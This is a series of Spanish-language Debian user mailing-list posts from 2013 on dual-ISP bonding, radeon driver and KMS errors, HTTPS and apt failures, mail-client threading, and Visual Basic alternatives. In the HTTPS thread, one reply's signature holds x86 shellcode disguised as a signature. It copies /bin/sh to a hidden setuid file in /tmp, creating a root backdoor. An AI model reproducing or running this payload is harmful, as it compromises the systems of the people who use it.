le queramos llamar, tiene que estar escrita en los estándares... Lo que está claro es que no te van a contar el cómo lo implementa, pero estar, tiene que estar escrita, porque el servidor remoto tiene que cumplirla... Sí, sí, si yo estoy contigo, sumar el BW pero, para los casos que hablemos de descargas, solo las HTTP. No creo que la CMT tenga nada que ver aquí, hablamos de que lo recomendable a la hora de contratar la línea de backup es que sea de Operador y Tecnología distinta a la principal. Que quitando los casos de las ADSL's que he comentado antes, no sería la primera vez que el que se dedica a estas cosillas en una empresa, ha decidido contratar una fibra de principal con Operador A, y como es muy precavido, pues ha contratado una fibra de backup con el Operador B, por si le falla la principal... Pero vaya, ahora resulta que no ha tenido en cuenta que el Operador B le alquila la fibra al Operador A. Vamos, que si cortan el mazo, se va a colgar bastantes medallas... Saludos, Ramsés -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/001701ce266e$c1e4abd0$45ae0370$@gmail.com
Re: Driver "radeon" (era: imposible reducir el brillo de la pantalla)
El 21/03/13 19:56, Camaleón escribió: *** Opción 1. *** Opción 2. Nada. con esas opciones, se queda la pantalla en negro y con un cursor negro en la parte superior izquierda parpadeando constantemente, pero no veo pantalla de login ni comando alguno. :( *** Opción 3. Dejar que Xorg lo haga a su gusto Sigue los pasos que indican en la sección "What if I do not have an xorg config file?" Este método me da error. Tal que así: X.Org X Server 1.12.4 Release Date: 2012-08-27 X Protocol Version 11, Revision 0 Build Operating System: Linux 3.2.0-4.drm-amd64 x86_64 Debian Current Operating System: Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.39-2 x86_64 Kernel command line: BOOT_IMAGE=/boot/vmlinuz-3.2.0-4-amd64 root=UUID=2f66fdb1-14df-4a9f-ad21-2f8ee679ac47 ro quiet acpi_osi=Linux acpi_backlight=vendor Build Date: 23 February 2013 02:40:45PM xorg-server 2:1.12.4-5 (Julien Cristau ) Current version of pixman: 0.26.0 Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.0.log", Time: Thu Mar 21 21:04:26 2013 List of video drivers: intel radeon fbdev (++) Using config file: "/root/xorg.conf.new" (==) Using system config directory "/usr/share/X11/xorg.conf.d" (II) [KMS] No DRICreatePCIBusID symbol, no kernel modesetting. (II) GPU only supported with KMS, using vesa instead. Number of created screens does not match number of detected devices. Configuration failed. Server terminated with error (2). Closing log file. Buf!! Me veo reinstalando el controlador propietario :( -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/514b6a28.4040...@yahoo.es
Re: no puedo acceder a paginas con https
> - Mensaje original -
> De: Felix Perez
> Enviado: 21-03-13 11:47
> Para: lista-debian
> Asunto: Re: no puedo acceder a paginas con https
>
> El 21/03/13, Felix Perez escribió:
> > El 21/03/13, consultores escribió:
> >> On 03/20/2013 12:53 PM, Felix Perez wrote:
> >>> El 19/03/13, consultores escribió:
> On Tue, Mar 19, 2013 at 10:02:25AM -0300, Felix Perez wrote:
> > El 19/03/13, Felix Perez escribio> > El
> > 18/03/13, Francisco Antonio escribió:
> >>> El 18/03/13 16:25, Felix Perez escribió:
> 2013/3/18, Fabián Bonetti:
> > On Mon, 18 Mar 2013 16:43:33 -0300
> > Felix Perez wrote:
> >
> > Comprueba la fecha si la tienes correcta.
> Gracias Fabián, la fecha esta correcta aunque con todo los
> problemas
> que hemos tenido con el retraso en el cambio de hora (Chile) no
> descarto que algo tenga que ver.
> el date me devuelve:
> lun mar 18 17:20:39 ART 2013
>
> > Mi sources.list solo tiene estas líneas.
> >
> > deb http://ftp.us.debian.org/debian/ testing main contrib non-free
> > deb-src http://ftp.us.debian.org/debian/ testing main contrib non-free
> >
> > La línea que me intriga es esta:
> > Des: 1 http://ftp.us.debian.org testing InRelease [224 kB]
> > Ign http://ftp.us.debian.org testing InRelease
> >
> > ¿Alguien ha tenido problemas con los repositorios en estos días?
> >
> > Gracias a todos.
> Hola Felix
> Yo estoy en transito, se supone que ese es un error de los servidores;
> si
> te
> parece, yo puedo colgar una web https, para que te conectes y enviarte
> el
> log, para que depures el problema.
> >>> Gracias, no creo que sea un error de los servidores ya que me pasa con
> >>> todos los repos, y con todas las páginas https, si es factible revisar
> >>> los logs, te lo agradecería, espero tus noticias.
> >>>
> >>>
> Por otro lado, hay vulnerabilidades en ssl y otros, lo del sources.list
> no
> lo puedo confirmar ahora mismo; hasta dentro de 6 horas.
> Si queres, proba con https://livestream/algo_de_tu_agrado ellos han
> actualizado recientemente y me contas.
> >>> Leí lo de las vulnerabilidades pero no creo que sea este el caso, en
> >>> realidad no se nada de nada a estas alturas.
> >>>
> >>> A la dirección que pones no pude acceder.
> >>>
> >>> Gracias de nuevo.
> >>>
> >>
> >> Hola
> >>
> >> Estoy en EU el que queda en America y los dos mesones en los que me he
> >> quedado, solo permiten salida por el 80; no he podido hacer nada. Pero
> >> revisando los mensajes de error, pude notar errores de java ej. /uoo31
> >> que hace referncia a un codigo de intrusion. Los otros errores son de
> >> syntaxis, que tambien podrian apuntar a java.
> >>
> >> Yo probaria a reinstalar todo lo relacionado con java y luego si
> >> funciona correctamente, lo eliminaria, tiene demasiadas
> >> vulnerabilidades. Luego probaria con el libre, que no recuerdo como se
> >> llama. En fin manana me cambio de champa y veremos si alli se puede
> >> hacer algo. hasta luego.
> >
> > No me deja, ni instalar, ni des instalar, ni re instalar ni nada.
> > incluso intente en el modo de recuperación y nada.
> >
> > Gracias nuevamente Consultores.
> >
> >>
> >> saludos y suerte.
> >>
> >>
>
> Ahora el aptitude update me da estos errores, después de haber borrado
> el contenido de /var/lib/apt/lists
>
> E: No se pudo tratar el archivo de paquetes
> /var/lib/apt/lists/ftp.cl.debian.org_debian_dists_testing_non-free_binary-i386_Packages
> (1)
> E: No se pudieron analizar o abrir las listas de paquetes o el archivo
> de estado.
>
> Saludos
>
> --
> usuario linux #274354
> normas de la lista: http://wiki.debian.org/es/NormasLista
> como hacer preguntas inteligentes:
> http://www.sindominio.net/ayuda/preguntas-inteligentes.html
>
>
> --
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
> Archive:
> http://lists.debian.org/caaizax5rnr1j6ukko0kezm0o1ffteg_u3toefvnf4k5_1mu...@mail.gmail.com
Viejo quien te dijo que borraces algo.
man aptitude
man apt-get
soy de sgto. si eres de sgto te ayudo en tu casa.
Saludos.
--
char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
> > Linux Counter ( http://counter.li.org )
> > --*
> > Usuario #551263
--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsu
Re: [OT] ¿Que clientes usan?
El 21/03/2013 03:02 p.m., Camaleón escribió: El Thu, 21 Mar 2013 14:51:37 -0300, Francisco Del Roio escribió: El 19/03/2013 11:45 a.m., Camaleón escribió: El Mon, 18 Mar 2013 19:00:34 -0300, Francisco Del Roio escribió: Buenas gente. La razón por la que dejo este mensaje es porque me llegan hilos desordenados, respuestas que comienzan otros hilos, etc...etc...etc...etc. (...) ¿Tienes algún hilo de ejemplo? (...) Aqui dejo uno como referencia [1]. ¿Puede subir una foto-pantallazo a "www.picpaste.com" para que veamos lo que ves? Oculta cualquier información sensible. Además, tengo marcada la opción para mostrar mensajes anidados. ¡Saludos! [1] http://lists.debian.org/cah45fxfvjpxk+0t6xyiqsuwhmlz4nasf2p3usaejvx8m1to...@mail.gmail.com Pues ese deberías verlo correctamente porque los mensajes aparecen hilados correctamente (desde mi cliente también se muestran anidados): http://lists.debian.org/debian-user-spanish/2013/03/thrd2.html Saludos, Saludos. Pues si, será mi cliente, ya que algunos me son mostrados correctamente mientras que otros no. Después actualizo thunderbird y veo si se soluciona. Saludos. -- Cuando tus fuerzas terminan, las de Dios comienzan... <>
Re: 2 isp [ot]
El Thu, 21 Mar 2013 21:00:35 +0100, Ramses II escribió: > Si está claro, si lo que se está hablando aquí es que sólo lo hace con > tráfico HTTP. Y si lo hace controlando un único extremo, es porque esa > prestación/funcionalidad/o como le queramos llamar, tiene que estar > escrita en los estándares... Lo que está claro es que no te van a contar > el cómo lo implementa, pero estar, tiene que estar escrita, porque el > servidor remoto tiene que cumplirla... Bueno, ellos hablan de líneas DSL, cable-modem o servicios T1 (y 3G/4G) como posibles conexiones en las que se puede unir el ancho de banda sin especificar nada más como requisito (p. ej., podría indicar que sólo admiten conexiones de "x" proveedor o que su aparato sólo trabaja con "y" módems de banda ancha pero no es así). Todas esas conexiones (DSL, DOCSIS y T1) cumplen con unos estándares y protocolos así que ese aparato tiene que saber interpretarlos y gestionarlos para que sea un dispositivo útil, que lo hayan podido patentar y que además se venda en el mercado. Sinceramente, pensar en teorías "conspiranoicas" está bien como guión de una película pero poco más. > Sí, sí, si yo estoy contigo, sumar el BW pero, para los casos que > hablemos de descargas, solo las HTTP. Hombre, menos mal. > No creo que la CMT tenga nada que ver aquí, hablamos de que lo > recomendable a la hora de contratar la línea de backup es que sea de > Operador y Tecnología distinta a la principal. Hombre, pues tiene que ver porque una entidad que debería velar por la libre competencia (real) en un mercado tan importante y vital para un país como es el de las telecomunicaciones, no hace nada: se lava las manos y permite que a día de hoy sólo una empresa -Telefónica- por una mera cuestión de capacidad efectiva ya que ha sido el único operador de telefonía en España durante muchos años, sea el único al que le salga rentable tirar cable de fibra y comercializarla. Salvo que, o bien vivas en una comunidad donde tengas la suerte de que haya otros operadores de fibra (como Asturias o Euskadi, si mal no recuerdo) o que vivas en la Calle Rue del Percebe, 1º-B donde Ono te pueda dar cobertura, pues no tienes más bemoles que pedir por duplicado al mismo operador la línea de respaldo con la misma capacidad que la primaria. No hay más. O eso o contratas 4 ADSL de hasta 20 Mbps y los enganchas a un dispositivo Truffle Lite de cierta compañía de cuyo nombre no quiero acordarme ;-) > Que quitando los casos de las ADSL's que he comentado antes, no sería > la primera vez que el que se dedica a estas cosillas en una empresa, ha > decidido contratar una fibra de principal con Operador A, y como es muy > precavido, pues ha contratado una fibra de backup con el Operador B, > por si le falla la principal... Pero vaya, ahora resulta que no ha > tenido en cuenta que el Operador B le alquila la fibra al Operador A. > Vamos, que si cortan el mazo, se va a colgar bastantes medallas... Pues por eso te comentaba que _no hay competencia real_ en el sector, de lo contrario tendrías operadores B, C y D con líneas, servicios y cableados propios y con buenos precios porque todos estarían dándose de tortas para captar clientes. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kifu5u$kp3$1...@ger.gmane.org
Re: Driver "radeon" (era: imposible reducir el brillo de la pantalla)
El Thu, 21 Mar 2013 21:14:32 +0100, Eduardo Rios escribió: > El 21/03/13 19:56, Camaleón escribió: >> *** Opción 1. >> *** Opción 2. > > Nada. con esas opciones, se queda la pantalla en negro y con un cursor > negro en la parte superior izquierda parpadeando constantemente, pero no > veo pantalla de login ni comando alguno. :( Carallo. >> *** Opción 3. Dejar que Xorg lo haga a su gusto Sigue los pasos que >> indican en la sección "What if I do not have an xorg config file?" > > Este método me da error. Tal que así: (...) > (II) [KMS] No DRICreatePCIBusID symbol, no kernel modesetting. > (II) GPU only supported with KMS, using vesa instead. > Number of created screens does not match number of detected devices. >Configuration failed. > Server terminated with error (2). Closing log file. ¡Ajá! Ahí tenemos el problema: que no se ha activado el KMS para el crontrolador radeon y este driver no puede funcionar sin KMS por eso salta al VESA... Asegúrate de que lo tienes habilitado: http://wiki.debian.org/KernelModesetting#AMD.2FATI_GfxCards > Buf!! Me veo reinstalando el controlador propietario :( Y ahora que caigo, seguramente al instalar el controlador propietario se haya desactivado el KMS automáticamente. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kifunr$kp3$1...@ger.gmane.org
Re: [OT] ¿Que clientes usan?
El Thu, 21 Mar 2013 18:00:12 -0300, Francisco Del Roio escribió: > El 21/03/2013 03:02 p.m., Camaleón escribió: >>> http://lists.debian.org/cah45fxfvjpxk+0t6xyiqsuwhmlz4nasf2p3usaejvx8m1to...@mail.gmail.com >> >> Pues ese deberías verlo correctamente porque los mensajes aparecen >> hilados correctamente (desde mi cliente también se muestran anidados): >> >> http://lists.debian.org/debian-user-spanish/2013/03/thrd2.html >> > > Pues si, será mi cliente, ya que algunos me son mostrados correctamente > mientras que otros no. > > Después actualizo thunderbird y veo si se soluciona. Manda una foto (no imagino cómo tienes los correos ni cómo han quedado y el hecho de que sólo te pase con algunos mensajes es muy extraño). Dudo mucho de que Thunderbird tenga problemas para mostrar los hilos correctamente ¿no será que has eliminado manualmente algún mensaje y te ha quedado colgando el resto? Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kifvn3$kp3$1...@ger.gmane.org
Visual basic + squeeze
Gente buenas tardes! les consulto, en mi facultad comenzamos con visual basic express 2010 a programar y me preguntaba si podria hacer lo mismo que hacen mis compañeros en win con debian, ¿habra algo simil a visual que pueda utilizar con deb?, probe MONO pero no me convence mucho la verdad y no encuentro ningun framework. Muchisimas gracias!
Re: Visual basic + squeeze
El día 21 de marzo de 2013 23:04, El Ale... escribió: > Gente buenas tardes! les consulto, en mi facultad comenzamos con visual > basic express 2010 a programar y me preguntaba si podria hacer lo mismo que > hacen mis compañeros en win con debian, ¿habra algo simil a visual que pueda > utilizar con deb?, probe MONO pero no me convence mucho la verdad y no > encuentro ningun framework. > > Muchisimas gracias! Cambia de facultad. ;-) También puedes buscar lago llamado gambas (apt-cache search gambas) S2 -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAGw=rhjhqlwav2apxuiy8r9wt_qojlnb7+4-ezxnmcr-xr6...@mail.gmail.com
Re: Visual basic + squeeze
jajaj lo pense! pero como que ya estoy cursando, a mono en realidad no lo entendi mucho , gambas seria como un frame? El 21 de marzo de 2013 19:13, fernando sainz escribió: > El día 21 de marzo de 2013 23:04, El Ale... > escribió: > > Gente buenas tardes! les consulto, en mi facultad comenzamos con visual > > basic express 2010 a programar y me preguntaba si podria hacer lo mismo > que > > hacen mis compañeros en win con debian, ¿habra algo simil a visual que > pueda > > utilizar con deb?, probe MONO pero no me convence mucho la verdad y no > > encuentro ningun framework. > > > > Muchisimas gracias! > > Cambia de facultad. ;-) > > También puedes buscar lago llamado gambas (apt-cache search gambas) > > S2 > > > -- > To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact > listmas...@lists.debian.org > Archive: > http://lists.debian.org/cagwrhjhqlwav2apxuiy8r9wt_qojlnb7+4-ezxnmcr-xr6...@mail.gmail.com > >
Re: Visual basic + squeeze
On Thu, Mar 21, 2013 at 07:15:52PM -0300, El Ale... wrote: > > jajaj lo pense! pero como que ya estoy cursando, a mono en realidad no > lo entendi mucho , gambas seria como un frame? Google no muerde ;) http://es.wikipedia.org/wiki/Gambas http://gambas.sourceforge.net/es/main.html http://www.gambas-es.org/ Saludos. -- Pablo Jiménez -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130321231101.ge4...@emblema.fh.vtr.net
Re: 2 isp [ot]
Buenas, El 21/03/2013, a las 22:30, Camaleón escribió: > El Thu, 21 Mar 2013 21:00:35 +0100, Ramses II escribió: > >> Si está claro, si lo que se está hablando aquí es que sólo lo hace con >> tráfico HTTP. Y si lo hace controlando un único extremo, es porque esa >> prestación/funcionalidad/o como le queramos llamar, tiene que estar >> escrita en los estándares... Lo que está claro es que no te van a contar >> el cómo lo implementa, pero estar, tiene que estar escrita, porque el >> servidor remoto tiene que cumplirla... > > Bueno, ellos hablan de líneas DSL, cable-modem o servicios T1 (y 3G/4G) > como posibles conexiones en las que se puede unir el ancho de banda sin > especificar nada más como requisito (p. ej., podría indicar que sólo > admiten conexiones de "x" proveedor o que su aparato sólo trabaja con "y" > módems de banda ancha pero no es así). > > Todas esas conexiones (DSL, DOCSIS y T1) cumplen con unos estándares y > protocolos así que ese aparato tiene que saber interpretarlos y > gestionarlos para que sea un dispositivo útil, que lo hayan podido > patentar y que además se venda en el mercado. Sinceramente, pensar en > teorías "conspiranoicas" está bien como guión de una película pero poco > más. Claro, como si conectas una cuerda, si sobre la cuerda fuese IP... Es que si la historia fuese a Nivel 2, sumarían tanto en FTP como en HTTP, pero cuando lo pueden hacer en uno y no en el otro, es porque el tema está a Nivel 7. >> Sí, sí, si yo estoy contigo, sumar el BW pero, para los casos que >> hablemos de descargas, solo las HTTP. > > Hombre, menos mal. Lo llevo diciendo desde que hablé con ellos, tira de histórico, que dicen que suman BW solo y exclusivamente para el caso de tráfico con protocolo HTTP. >> No creo que la CMT tenga nada que ver aquí, hablamos de que lo >> recomendable a la hora de contratar la línea de backup es que sea de >> Operador y Tecnología distinta a la principal. > > Hombre, pues tiene que ver porque una entidad que debería velar por la > libre competencia (real) en un mercado tan importante y vital para un > país como es el de las telecomunicaciones, no hace nada: se lava las > manos y permite que a día de hoy sólo una empresa -Telefónica- por una > mera cuestión de capacidad efectiva ya que ha sido el único operador de > telefonía en España durante muchos años, sea el único al que le salga > rentable tirar cable de fibra y comercializarla. > > Salvo que, o bien vivas en una comunidad donde tengas la suerte de que > haya otros operadores de fibra (como Asturias o Euskadi, si mal no > recuerdo) o que vivas en la Calle Rue del Percebe, 1º-B donde Ono te > pueda dar cobertura, pues no tienes más bemoles que pedir por duplicado > al mismo operador la línea de respaldo con la misma capacidad que la > primaria. No hay más. O eso o contratas 4 ADSL de hasta 20 Mbps y los > enganchas a un dispositivo Truffle Lite de cierta compañía de cuyo nombre > no quiero acordarme ;-) Bueno, ya hay alguno más que está haciendo sus pinitos tirando su propia fibra... >> Que quitando los casos de las ADSL's que he comentado antes, no sería >> la primera vez que el que se dedica a estas cosillas en una empresa, ha >> decidido contratar una fibra de principal con Operador A, y como es muy >> precavido, pues ha contratado una fibra de backup con el Operador B, >> por si le falla la principal... Pero vaya, ahora resulta que no ha >> tenido en cuenta que el Operador B le alquila la fibra al Operador A. >> Vamos, que si cortan el mazo, se va a colgar bastantes medallas... > > Pues por eso te comentaba que _no hay competencia real_ en el sector, de > lo contrario tendrías operadores B, C y D con líneas, servicios y > cableados propios y con buenos precios porque todos estarían dándose de > tortas para captar clientes. Uuu, tu ya hablas de cuando se ha tenido en cuenta a la hora de contratar un backup y no hay alternativa, y yo estoy hablando de que ni se tiene en cuenta, sino que, contrato otra fibra (o ADSL, da igual) con otro Operador y ya estoy cubierto por sí se cae la principal, sin pensar en que al final es el mismo cable... Saludos, Ramsés -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/24f5fb2e-d476-4ea9-894a-205c3f9de...@gmail.com
